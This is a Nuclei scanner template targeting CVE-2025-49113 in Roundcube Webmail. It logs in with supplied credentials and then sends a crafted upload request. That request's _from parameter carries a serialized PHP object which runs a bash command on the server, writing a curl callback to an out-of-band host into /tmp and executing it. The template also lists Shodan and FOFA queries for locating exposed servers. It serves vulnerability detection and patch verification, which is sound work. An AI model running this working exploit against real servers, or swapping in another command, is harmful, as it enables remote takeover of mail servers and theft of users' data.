id: CVE-2025-49113

info:
  name: Roundcube Webmail - Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch,Ademking
  severity: critical
  description: |
    Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49113
    - https://fearsoff.org/research/roundcube
    - https://github.com/advisories/GHSA-8j8w-wwqc-x596
    - http://www.openwall.com/lists/oss-security/2025/06/02/3
    - https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10
    - https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
    - https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
    - https://github.com/roundcube/roundcubemail/commit/c50a07d88ca38f018a0f4a0b008e9a1deb32637e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-49113
    cwe-id: CWE-502
    epss-score: 0.84239
    epss-percentile: 0.70056
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"roundcube"
    fofa-query: "roundcube_sessid"
  tags: cve,cve2025,roundcube,rce,deserialization,intrusive

flow: |
    if (http(1)) {
    http(2) && http(3) && http(4)
    }

variables:
  username: "{{username}}"
  password: "{{password}}"
  filename: "{{randbase(9)}}"
  oast: "{{interactsh-url}}"
  oast_new: "{{replace(oast,'.','\\\\x2e')}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    extractors:
      - type: regex
        name: major
        group: 1
        regex:
          - '"rcversion":(\d)'
        internal: true

      - type: regex
        name: minor
        group: 1
        regex:
          - '"rcversion":\d\d(\d)'
        internal: true

      - type: regex
        name: patch
        group: 1
        regex:
          - '"rcversion":\d\d\d(\d+)'
        internal: true

      - type: dsl
        name: version
        dsl:
          - major + "." + minor + "." + patch
        internal: true

      - type: dsl
        dsl:
          - '"Roundcube Version: "+ version'

    matchers:
      - type: dsl
        name: version_check
        dsl:
          - compare_versions(version, '< 1.5.10') || (compare_versions(version,'>= 1.6.0') && compare_versions(version, '< 1.6.11'))
          - contains_any(body, "roundcube", "Roundcube")
          - contains(body, "rcversion")
        condition: and

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        regex:
          - '"request_token":"(.*?)"'
        internal: true

  - raw:
      - |
        POST /?_task=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{nonce}}&_task=login&_action=login&_timezone=Asia%2FDubai&_url=&_user={{username}}&_pass={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(location, "task=mail")'
        condition: and
        internal: true

  - raw:
      - |
        POST /?_task=settings&_framed=1&_remote=1&_from=!";O:16:"Crypt_GPG_Engine":1:{s:8:"_gpgconf";s:{{44 + len(oast_new)}}:"bash+-c+"printf+'curl+{{oast_new}}'>/tmp/p;bash+/tmp/p";";}}&_action=upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxc4v9AJAwaNTZhjk

        ------WebKitFormBoundaryxc4v9AJAwaNTZhjk
        Content-Disposition: form-data; name="_file[]"; filename="firstfile|a:1:{s:57:\"a\";}"
        Content-Type: image/png

        {{base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')}}
        ------WebKitFormBoundaryxc4v9AJAwaNTZhjk--

    matchers:
      - type: dsl
        name: exploit_check
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "add2attachment_list", "rcmfile", "mimetype", "firstfile")'
        condition: and
# digest: 4a0a004730450220777a9d50f422f27e0d7777a6b716f540940e363e081d657826882acc8d7887d0022100ae45b347755e29759ed953a5a17366a04b1bc1f22e5bcb12c7e73f29a84a78cc:922c64590222798bb761d5b6d8e72950